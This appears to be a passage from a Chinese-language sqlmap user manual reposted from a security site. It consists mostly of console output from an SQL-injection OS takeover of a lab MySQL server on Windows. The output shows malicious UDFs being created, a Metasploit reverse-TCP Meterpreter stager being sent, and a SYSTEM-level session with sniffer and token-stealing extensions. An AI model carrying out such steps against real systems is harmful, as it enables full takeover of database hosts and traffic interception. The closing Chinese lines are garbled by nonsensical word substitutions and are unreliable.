tunneling> [hh:mm:32] [INFO] testing if current user is DBA[hh:mm:32] [INFO] fetching current userwhat is the back-end database management system architecture?[1] 32-bit (default)[2] 64-bit> [hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist[hh:mm:33] [INFO] detecting back-end DBMS version from its banner[hh:mm:33] [INFO] retrieving MySQL base directory absolute path[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF filehow do you want to execute the Metasploit shellcode on the back-end database underlying operating system?[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)[2] Stand-alone payload stager (file system way)> [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode which connection type do you want to use?[1] Reverse TCP: Connect back from the database host to this machine (default)[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535[3] Bind TCP: Listen on the database host for a connection> which is the local address? [192.168.136.1] which local port number do you want to use? [60641] which payload do you want to use?[1] Meterpreter (default)[2] Shell[3] VNC> [hh:mm:40] [INFO] creation in progress ... done[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..                                 _                                | |      o_  _  _    _ _|_  __,   ,    _  | |  __    _|_/ |/ |/ |  |/  |  /  |  / _|/ _|/  /  _|  ||  |  |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/                        /|                        |     =[ metasploit v3.7.0-dev [core:3.7 api:1.0]+ -- --=[ 674 exploits - 351 auxiliary+ -- --=[ 217 payloads - 27 encoders - 8 nops    =[ svn r12272 updated 4 days ago (2011.04.07) PAYLOAD => windows/meterpreter/reverse_tcpEXITFUNC => threadLPORT => 60641LHOST => 192.168.136.1[*] Started reverse handler on 192.168.136.1:60641 [*] Starting the payload handler...[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', please wait..[*] Sending stage (749056 bytes) to 192.168.136.129[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 hh:mm:52 +0100 2011 meterpreter > Loading extension espia...success.meterpreter > Loading extension incognito...success.meterpreter > [-] The 'priv' extension has already been loaded.meterpreter > Loading extension sniffer...success.meterpreter > System Language : en_USOS              : Windows .NET Server (Build 3790, Service Pack 2).Computer        : W2K3R2Architecture    : x86Meterpreter     : x86/win32meterpreter > Server username: NT AUTHORITYSYSTEMmeterpreter > ipconfig MS TCP Loopback interfaceHardware MAC: 00:00:00:00:00:00IP Address  : 127.0.0.1Netmask     : 255.0.0.0 Intel(R) PRO/1000 MT Network ConnectionHardware MAC: 00:0c:29:fc:79:39IP Address  : 192.168.136.129Netmask     : 255.255.255.0 meterpreter > exit [*] Meterpreter session 1 closed.  Reason: User exit

默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大全部是以NETWORK SERVICE无意偶尔是LOCAL SERVICE。

本文续篇:<<sqlmap用户手册[续]>>

想深造sqlmap的同砚还大约参看《若何垄断SQLMap绕过WAF》,《把持SQLMap中断cookie注入》

link:http://drops.wooyun.org/tips/143

本文由网络安全攻防研究室(www.91ri.org)静态安全小组收集收拾整顿,转载请说明因由。

数安新闻+更多

证书相关+更多